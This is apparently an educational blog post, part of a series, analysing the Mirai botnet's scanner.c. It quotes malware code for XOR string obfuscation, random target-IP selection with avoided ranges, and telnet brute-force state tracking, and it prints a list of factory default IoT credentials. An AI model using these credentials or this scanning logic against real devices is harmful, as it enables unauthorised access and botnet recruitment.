Mirai scanner code analysis


:books: Mirai Botnet Series - Part 4 of 6

:open_book: View the Full Series Index


← Previous: Part 3: I Opened Mirai’s Source Code   |   Next β†’ Part 5: The Brain of Mirai β€” C2 Server
Blog 4 of 7 in the Mirai Botnet Series

Previous: Blog 3 - I Opened Mirai’s Source Code. Here Is What I Found.


Let me be honest with you.

When I first opened scanner.c, I almost closed it.

It is 1000+ lines of C code. Hex values everywhere. State machines. Raw socket programming. Function names that tell you nothing.

I am a beginner. This was not written for beginners.

But here is what I have learned about reading scary code: you do not need to understand everything. You need to understand the right things.

And the right things in scanner.c are fascinating.

This file is the infection engine of Mirai. This is where the botnet recruits new members. This is where a camera in someone’s living room becomes a weapon pointed at the internet.

Let me walk you through it. The way I wish someone had walked me through it.


First β€” What Does scanner.c Actually Do?

Before touching any code, let us understand the job.

In Blog 2, we learned that Mirai infects devices by:

1. Scanning random IPs across the internet
2. Finding devices with Telnet open
3. Trying default username/password combos
4. If login succeeds β†’ report to the loader
5. Loader uploads the Mirai binary
6. Device is now a bot

scanner.c handles steps 1, 2, and 3. Everything else is handled by other modules.

So when you read this file, keep asking: β€œIs this about finding victims? Or cracking passwords? Or tracking conversations?”

Those are the only three things this file cares about.


Part 1 β€” The Credential List (And Why It Looks Like Garbage)

Open scanner.c and scroll to around line 80. You will see something that looks like this:

// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root     xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);      // root     vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);      // root     admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);  // admin    admin

Your first reaction is probably: what is all this \x garbage?

That is a fair reaction. Mine was the same.

Those \x values are hexadecimal bytes. Each one represents a single character.

Let me show you how to read them:

\x50 = hex 50 = decimal 80 = letter P
\x4D = hex 4D = decimal 77 = letter M
\x4D = hex 4D = decimal 77 = letter M  
\x56 = hex 56 = decimal 86 = letter V

Wait. That spells PMMV. Not β€œroot”.

So how does the comment say // root?

Because the strings are obfuscated. XOR scrambled.

The author did not store "root" in plain text. He stored a scrambled version. If you run strings mirai.arm to look for suspicious text, you will find nothing readable. Just garbage bytes.

But here is the beautiful part. There is a function called toggle_obf() that unscrambles them when needed. Look at it in table.c:

static void toggle_obf(uint8_t id)
{
    int i;
    struct table_value *val = &table[id];
    uint8_t k1 = table_key & 0xff,
            k2 = (table_key >> 8) & 0xff,
            k3 = (table_key >> 16) & 0xff,
            k4 = (table_key >> 24) & 0xff;

    for (i = 0; i < val->val_len; i++)
    {
        val->val[i] ^= k1;
        val->val[i] ^= k2;
        val->val[i] ^= k3;
        val->val[i] ^= k4;
    }
}

The ^= operator is XOR. And XOR has one magical property:

"root" XOR key = garbage
garbage XOR key = "root"

Same operation. Both directions.
Run it once β†’ decode.
Run it again β†’ encode back.

That is why it is called toggle_obf. Toggle. Like a light switch. Same function encodes AND decodes.

So the full flow when Mirai tries to login to a camera:

Stored in binary:   \x50\x4D\x4D\x56  (garbage on disk)
                           β”‚
                    toggle_obf() runs
                           β”‚
                    In RAM: "root"
                           β”‚
                    Sent over Telnet to camera
                           β”‚
                    toggle_obf() runs again
                           β”‚
                    Back to \x50\x4D\x4D\x56 in RAM

The plain text β€œroot” exists only for a fraction of a second. Only in RAM. Never on disk. Never readable by a scanner.

The Full List β€” 63 Default Credentials

Here is the complete list of credentials Mirai tries. These are the actual default passwords for real IoT devices that existed in 2016:

Username    Password
────────────────────────────
root        xc3511
root        vizxv
root        admin
admin       admin
root        888888
root        xmhdipc
root        default
root        juantech
root        123456
root        54321
support     support
root        (none)
admin       password
root        root
root        12345
user        user
admin       (none)
root        pass
admin       admin1234
root        1111
admin       smcadmin
admin       1111
root        666666
root        password
root        1234
root        klv123
Administrator admin
service     service
supervisor  supervisor
guest       guest
guest       12345
admin       1
admin       23456
admin       admin1
guest       guest
admin       password
admin       12345
admin       123456
admin       54321
admin       7ujMko0admin
admin       1234
admin       pass
admin       meinsm
tech        tech
mother      fucker

Look at those passwords. xc3511. vizxv. xmhdipc. These are not random. These are actual factory default passwords shipped with real devices. Hikvision cameras. XiongMai DVRs. Generic Chinese routers.

The people who bought these devices never changed them. Why would they? Nobody told them to.

Mirai knew this. And Mirai exploited it at massive scale.


Part 2 β€” The IP Blacklist (Or: How To Hunt Without Getting Hunted)

Now Mirai needs targets. It generates random IP addresses and scans them.

But not ALL IP addresses. Look at get_random_ip() in scanner.c:

static ipv4_t get_random_ip(void)
{
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;

    do
    {
        tmp = rand_next();
        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                              // 127.0.0.0/8   - Loopback
           (o1 == 0) ||                              // 0.0.0.0/8     - Invalid
           (o1 == 10) ||                             // 10.0.0.0/8    - Internal network
           (o1 == 192 && o2 == 168) ||               // 192.168.0.0   - Internal network
           (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0    - Internal network
           (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0    - IANA NAT reserved
           (o1 == 169 && o2 > 254) ||                // 169.254.0.0   - IANA NAT reserved
           (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0    - IANA Special use
           (o1 >= 224) ||                            // 224.*.*.*     - Multicast
           (o1 == 3) ||                              // 3.0.0.0/8     - General Electric
           (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7    - Hewlett-Packard
           (o1 == 56) ||                             // 56.0.0.0/8    - US Postal Service
           (o1 == 6 || o1 == 7 || o1 == 11 ||
            o1 == 21 || o1 == 22 || o1 == 26 ||
            o1 == 28 || o1 == 29 || o1 == 30 ||
            o1 == 33 || o1 == 55 || o1 == 214 ||
            o1 == 215)                               // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
}

The do { } while() loop keeps generating random IPs until it finds one that passes ALL the checks.

Two categories of skipped ranges. Two completely different reasons.

Category 1: Useless ranges

127.0.0.0   β†’ Loopback. Your device talking to itself. No external device here.
0.0.0.0     β†’ Invalid. Does not exist on the internet.
10.x.x.x    β†’ Private network. Only exists inside your home/office.
192.168.x.x β†’ Private network. Only exists inside your home/office.
172.16-31.x β†’ Private network. Only exists inside your home/office.

These are local addresses. Scanning them from the internet reaches nothing. Waste of time.

Category 2: Dangerous ranges

3.0.0.0     β†’ General Electric Company
15.0.0.0    β†’ Hewlett-Packard Company
16.0.0.0    β†’ Hewlett-Packard Company
56.0.0.0    β†’ US Postal Service
214.0.0.0   β†’ US Department of Defense
215.0.0.0   β†’ US Department of Defense

These are PUBLIC addresses. You can reach them from the internet. But you absolutely do not want to.

Here is why. Think about the difference between these two targets:

Target A: Cheap camera in someone's living room
Security team: 0 people
Log monitoring: none
Response time: never

Target B: US Department of Defense network
Security team: thousands of people
Log monitoring: 24/7 automated systems
Response time: minutes

Mirai is hunting weak prey. Cheap cameras. Unmonitored DVRs. Routers nobody ever updates.

Poking the Department of Defense even once puts you on a list. Their systems log everything. Their teams investigate everything. The Mirai author knew this.

Think of it like this. You are a thief. You have two options:

Option A: Rob a house with no lights, no cameras, owner on vacation
Option B: Rob a military base with armed guards, cameras everywhere, 24/7 patrols

The blacklist is Mirai choosing Option A. Every single time.


Part 3 β€” The State Machine (Or: How To Have 128 Conversations Simultaneously)

This is the most complex part. But also the most clever.

When Mirai scans, it does not try one device at a time. That would be painfully slow. Instead it tracks 128 simultaneous Telnet conversations. Each one at a different stage.

But here is the problem. A Telnet login conversation has multiple steps:

Step 1: Connect
Step 2: Receive "login:" prompt
Step 3: Send username
Step 4: Receive "password:" prompt
Step 5: Send password
Step 6: Wait for response
Step 7: Check if login succeeded
Step 8: Send shell commands

If you are managing 128 conversations, how do you know which step each one is on?

You need a way to track the state of every single conversation. This is called a state machine.

Look at the structure Mirai uses:

struct scanner_connection {
    struct scanner_auth *auth;
    int fd, last_recv;
    enum {
        SC_CLOSED,
        SC_CONNECTING,
        SC_HANDLE_IACS,
        SC_WAITING_USERNAME,
        SC_WAITING_PASSWORD,
        SC_WAITING_PASSWD_RESP,
        SC_WAITING_ENABLE_RESP,
        SC_WAITING_SYSTEM_RESP,
        SC_WAITING_SHELL_RESP,
        SC_WAITING_SH_RESP,
        SC_WAITING_TOKEN_RESP
    } state;
    ipv4_t dst_addr;
    uint16_t dst_port;
    int rdbuf_pos;
    char rdbuf[SCANNER_RDBUF_SIZE];
    uint8_t tries;
};

Each scanner_connection is one conversation. And state is where that conversation currently is.

Think of a waiter managing 10 tables in a restaurant:

Table 1:  just sat down      β†’ waiting to take order
Table 2:  order taken        β†’ waiting for kitchen
Table 3:  food delivered     β†’ waiting for bill
Table 4:  bill requested     β†’ waiting for payment
Table 5:  empty              β†’ available for new customer

The waiter has a notepad. Each table has a status. He does not stand at one table waiting. He moves between tables, checks the status, does the next action, moves on.

Mirai’s conn_table is that notepad:

#define SCANNER_MAX_CONNS 128

struct scanner_connection conn_table[SCANNER_MAX_CONNS];

128 slots. Pre-allocated once at startup. Never grows. Never shrinks.

Slot 0:    SC_WAITING_PASSWORD   β†’ talking to 45.23.x.x, sent username, waiting
Slot 1:    SC_CLOSED             β†’ empty, available for new target
Slot 2:    SC_CONNECTING         β†’ just sent SYN to 89.x.x.x
Slot 47:   SC_WAITING_USERNAME   β†’ connected to 201.x.x.x, waiting for prompt
Slot 103:  SC_CLOSED             β†’ just failed, recycled
...
Slot 127:  SC_WAITING_PASSWD_RESP β†’ sent password, checking if it worked

When a connection succeeds or fails, it gets marked SC_CLOSED. That slot is immediately recycled for a new target. Nothing wasted.

Why 128? Not 1000? Not 50?

Because these IoT devices have almost no RAM. A cheap camera might have 32MB total.

Too many connections β†’ RAM exhausted β†’ device crashes β†’ Mirai gone
Too few connections  β†’ scanning too slow β†’ botnet grows slowly
128                  β†’ sweet spot for most IoT hardware

The author did not guess. He calculated.


Part 4 β€” Architecture Detection (The cat /bin/echo Trick)

When Mirai successfully cracks the password on a device, it needs to upload a copy of itself.

But which copy? Mirai has 8 different binaries compiled for different CPU architectures:

mirai.arm    β†’ for ARM processors (most cheap cameras)
mirai.mips   β†’ for MIPS processors (many routers)
mirai.x86    β†’ for x86 processors (some DVRs)
mirai.ppc    β†’ for PowerPC processors
mirai.sh4    β†’ for SH4 processors
mirai.m68k   β†’ for Motorola 68k processors
mirai.spc    β†’ for SPARC processors
mirai.mpsl   β†’ for MIPS little-endian

Upload the wrong one and it will not run. So Mirai needs to detect the CPU architecture first.

How? With one simple command sent over Telnet:

cat /bin/echo

This outputs the raw binary contents of the echo program. Which looks like complete garbage in a terminal:

@@@@ELFοΏ½οΏ½οΏ½οΏ½οΏ½οΏ½...

But buried in that garbage is a structured header. Every Linux binary starts with an ELF header. And the ELF header contains a field called e_machine that says exactly what CPU this binary was compiled for.

Run this yourself in your terminal:

xxd -l 4 /bin/echo

You will see:

00000000: 7f45 4c46    .ELF

image

Those first 4 bytes \x7f ELF are the magic number. Every single Linux binary on every architecture starts with these exact 4 bytes. It is a universal signature.

Now look at bytes 18-19 of that header. That is the e_machine field:

Number  β†’ Architecture
──────────────────────
40      β†’ ARM
8       β†’ MIPS
3       β†’ x86 (32-bit)
62      β†’ x86_64 (64-bit)
20      β†’ PowerPC
42      β†’ SH4

Mirai reads that one number. Knows the CPU. Uploads the right binary.

Here is the detection code in connection.c:

int connection_consume_arch(struct connection *conn)
{
    struct elf_hdr *ehdr;
    int elf_start_pos;

    // Step 1: Search for "ELF" in the garbage output
    if ((elf_start_pos = util_memsearch(conn->rdbuf, 
                                         conn->rdbuf_pos, 
                                         "ELF", 3)) == -1)
        return 0;  // Not found yet, wait for more data

    // Step 2: Go back 1 byte to include \x7f before ELF
    elf_start_pos -= 1;

    // Step 3: Cast to ELF header structure
    ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos);

    // Step 4: Read e_machine and identify architecture
    if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64)
        strcpy(conn->info.arch, "arm");
    else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS3_LE)
    {
        if (ehdr->e_ident[EI_DATA] == EE_LITTLE)
            strcpy(conn->info.arch, "mpsl");
        else
            strcpy(conn->info.arch, "mips");
    }
    else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_X86_64)
        strcpy(conn->info.arch, "x86");
    // ... more architectures
}

Run This Yourself

I wrote a small Python script that does exactly what Mirai does. Run this on your Linux machine:

# mirai_arch_detector.py
# Mimics Mirai's architecture detection logic

def detect_arch(binary_path):
    # Read the binary (like cat /bin/echo output)
    with open(binary_path, 'rb') as f:
        data = f.read()
    
    # Step 1: Search for "ELF" in the garbage
    elf_pos = data.find(b'ELF')
    if elf_pos == -1:
        print("Not an ELF binary")
        return
    
    # Step 2: Go back 1 byte to get \x7fELF
    elf_start = elf_pos - 1
    
    # Step 3: Read e_machine field (bytes 18-19 from ELF start)
    e_machine = data[elf_start + 18]
    
    # Step 4: Match the number to architecture
    arch_map = {
        40:  "ARM",
        8:   "MIPS",
        3:   "x86 (32-bit)",
        62:  "x86_64 (64-bit)",
        20:  "PowerPC",
        42:  "SH4",
        4:   "SPARC",
        6:   "Motorola 68k"
    }
    
    arch = arch_map.get(e_machine, f"Unknown ({e_machine})")
    print(f"Binary: {binary_path}")
    print(f"e_machine value: {e_machine}")
    print(f"Architecture: {arch}")
    print()
    print("Mirai would upload: mirai." + arch.lower().split()[0])

# Run it on your system's echo binary
detect_arch("/bin/echo")

Run it:

python3 mirai_arch_detector.py

On my x86_64 machine I got:

Binary: /bin/echo
e_machine value: 62
Architecture: x86_64 (64-bit)

Mirai would upload: mirai.x86

You just ran the same logic Mirai ran on millions of infected devices. Without writing a single line of malware.

Why cat /bin/echo Specifically?

Why not cat /bin/ls? Why not any other file?

Because echo is one of the most universal utilities in Unix. It exists on almost every embedded Linux device. Old devices. New devices. Minimal BusyBox installations. Custom firmware.

ls might not exist. cat itself might not exist in some stripped down environments. But echo is almost always there.

One command. Works everywhere. Detects everything.


The Complete scanner.c Flow

Now let us put everything together:


What I Found Confusing (And Now Don’t)

β€œWhy store passwords as hex if anyone can look up the ASCII table?”

Because the goal is not to be unbreakable. The goal is to fool automated scanners. A strings command on the binary finds nothing. An antivirus pattern match finds nothing. That is enough.

β€œWhy does toggle_obf use XOR specifically?”

Because XOR is reversible with the same key. No separate encrypt/decrypt functions needed. One function does both. Elegant and minimal exactly what you want in malware that needs to be small.

β€œWhy pre-allocate exactly 128 slots?”

Because dynamic memory allocation on a 32MB IoT device is unpredictable. Pre-allocating a fixed array means you know exactly how much RAM you will use. No surprises. No crashes.

β€œWhy go back 1 byte after finding ELF?”

Because util_memsearch finds the E in ELF. But the actual ELF header starts with \x7f which comes before E. Going back 1 byte puts you at the true start of the header structure.


What We Learned

add_auth_entry()     = function that stores one credential pair
XOR obfuscation      = scramble strings so automated scanners miss them
toggle_obf()         = same function encodes AND decodes (XOR property)
get_random_ip()      = generate random public IP, skip blacklisted ranges
IP blacklist         = skip useless ranges AND dangerous organization ranges
SCANNER_MAX_CONNS    = 128 simultaneous connections, protects RAM
conn_table           = pre-allocated array of 128 connection slots
state machine        = tracks which step each Telnet conversation is on
SC_CLOSED            = slot is empty and available for recycling
ELF header           = structured header at start of every Linux binary
magic number         = \x7fELF, first 4 bytes of every Linux binary
e_machine            = field in ELF header that identifies CPU architecture
cat /bin/echo        = command Mirai uses to read ELF header of target device

One Last Thing

Here is what amazed me most about scanner.c.

The author could have written a simple sequential scanner. Scan one IP. Try one password. Move to next IP. Simple. Readable. Slow.

Instead he wrote a concurrent state machine that tracks 128 simultaneous conversations, manages memory within strict limits, avoids organizations that would hunt him back, and hides its credential list from every automated detection tool.

This is not script kiddie code. This is engineered code.

And understanding it even as a beginner teaches you more about network programming, memory management, and security thinking than most university courses.

You do not need to know coding to be a hacker. But the best hackers always end up learning it. Because understanding how things work at this level is irreplaceable.

In Blog 5, we go inside the C2 architecture. How the attacker sits in one place and commands hundreds of thousands of devices simultaneously. The command and control system that turned a scanner into a weapon.

See you there.


Previous: Blog 3 - I Opened Mirai’s Source Code. Here Is What I Found.

Next: Blog 5 - Inside The C2: How One Attacker Commands 600,000 Devices


Resources